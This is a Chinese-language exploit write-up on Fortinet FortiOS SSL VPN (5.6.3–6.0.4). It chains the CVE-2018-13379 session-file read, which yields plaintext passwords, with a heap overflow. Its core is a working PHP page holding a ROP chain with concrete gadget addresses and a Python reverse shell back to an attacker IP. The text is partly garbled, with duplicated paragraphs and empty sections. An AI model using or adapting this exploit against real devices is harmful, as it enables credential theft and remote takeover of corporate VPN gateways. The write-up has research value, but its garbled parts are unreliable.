0x01 漏洞影响

FortiOS 5.6.3 to 5.6.7
FortiOS 6.0.0 to 6.0.4
ONLY if the SSL VPN service (web-mode or tunnel-mode) is enabled.

0x02 Fortigate SSL VPN

Fortinet将其SSL VPN产品线称为Fortigate SSL VPN，这在终端用户和中型企业中很常见。有超过480000台服务器在互联网上运行，在亚洲和欧洲很常见。我们可以通过在url后加上路径/remote/login来识别它。Fortigate的技术特点如下：

• 一体化二进制文件：

• Web守护程序
  Fortigate上运行了2个Web界面。一个用于管理界面，/bin/httpsd在端口443上处理。另一个是普通用户界面，/bin/sslvpnd默认情况下在端口4433上处理。通常，管理页面应限制在互联网上，因此我们只能访问用户界面。
  Fortigate上有2个Web界面正在运行。一个用于管理界面，通过端口443上的/bin/httpsd进行处理。另一个是普通用户界面，默认情况下使用端口4433上的/bin/sslvpnd处理。一般来说，管理页面应限制在互联网上访问，因此我们只能访问用户界面。
  通过我们的调查，我们发现Web服务器是从apache修改而来的，但它是2002年的apache。显然他们在2002年修改了apache并添加了自己的附加功能。我们可以映射apache的源代码来加速我们的分析。

• WebVPN
  WebVPN是一个方便的代理功能，它允许我们通过浏览器连接到所有服务。它支持多协议，如http、ftp、rdp。它还可以处理各种Web资源，如WebSocket和Flash。为了正确解析站点访问，它会解析HTML并为我们重写所有的URL。这涉及繁重的字符串操作，很容易导致内存错误

0x03   漏洞介绍

0x04  漏洞利用

官方咨询最初没有描述RCE风险。实际上，这是一个误解。我们将向您展示如何在没有身份验证的情况下从用户登录界面中进行攻击。

我们的第一次尝试是利用未授权堆溢出漏洞。但是，此漏洞存在一个缺陷 - 它不会溢出空字节。一般来说，这不是一个严重的问题。如今的堆利用技术应该克服了这个问题。然而，我们发现在Fortigate上发生了一个严重的问题。有几个障碍，使堆溢出不稳定，难以控制。

• 单线程、单进程、单分配器
  Web守护进程使用epoll（）处理多个连接，没有多进程或多线程，并且主进程和库使用相同的堆，称为JeMalloc。这意味着，来自所有连接的所有操作的所有内存分配都在同一堆上。因此，堆真的很乱。
• 定期触发操作

• Apache附加内存管理。

• Apache额外的内存管理。

• JeMalloc
  JeMalloc隔离了元数据和用户数据，因此很难修改元数据并使用堆管理。此外，它集中了小对象，这也限制了我们的利用。

这是pre-auth文件读取和post-auth堆溢出的组合。一个用于获取身份验证，一个用于获取shell。

• 获得身份验证

  我们首先使用CVE-2018-13379来读取会话文件。会话文件包含了有价值的信息，例如用户名和明文密码，这使我们能够轻松登录。
  
  
  

• 获取shell
  登录后，我们可以请求ssl vpn代理恶意HTTP服务器上的漏洞攻击，然后触发堆溢出。
  由于上述问题，我们需要一个好的溢出目标。我们无法仔细操作堆，但也许我们可以找到一些经常出现的东西！如果它能被找到，那就太好了，每次触发这个bug，我们都可以轻松地溢出它！然而，从这个庞大的程序中找到这样一个目标是一项艰巨的工作，所以当时我们陷入了困境……我们开始模糊测试服务器，试图得到一些有用的东西

   我们遇到了一个有趣的崩溃错误，令我们惊讶的是，我们几乎控制了程序计数器！

0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
2: /x $rax = 0x41414141
1: x/i $pc
=> 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
(gdb)

int SSL_do_handshake(SSL *s)
{
    // ...
 
    s->method->ssl_renegotiate_check(s, 0);
 
    if (SSL_in_init(s) || SSL_in_before(s)) {
        if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
            struct ssl_async_args args;
 
            args.s = s;
 
            ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
        } else {
            ret = s->handshake_func(s);
        }
    }
    return ret;
}

• 
  

  <?php
      function p64($address) {
          $low = $address & 0xffffffff;
          $high = $address >> 32 & 0xffffffff;
          return pack("II", $low, $high);
      }
      $junk = 0x4141414141414141;
      $nop_func = 0x32FC078;
  
      $gadget  = p64($junk);
      $gadget .= p64($nop_func - 0x60);
      $gadget .= p64($junk);
      $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
      $gadget .= p64($junk);
      $gadget .= p64($junk);
      $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
      $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
      $gadget .= p64(0x58);
      $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
      $gadget .= p64(0x1366639); // call system ;
      $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
  
      $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
      $p .= $gadget;
      $p .= str_repeat('A', 0x1000 - strlen($gadget));
      $p .= $gadget;
  ?>
  <a href="javascript:void(0);<?=$p;?>">xxx</a>

  

push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

0x05  漏洞演示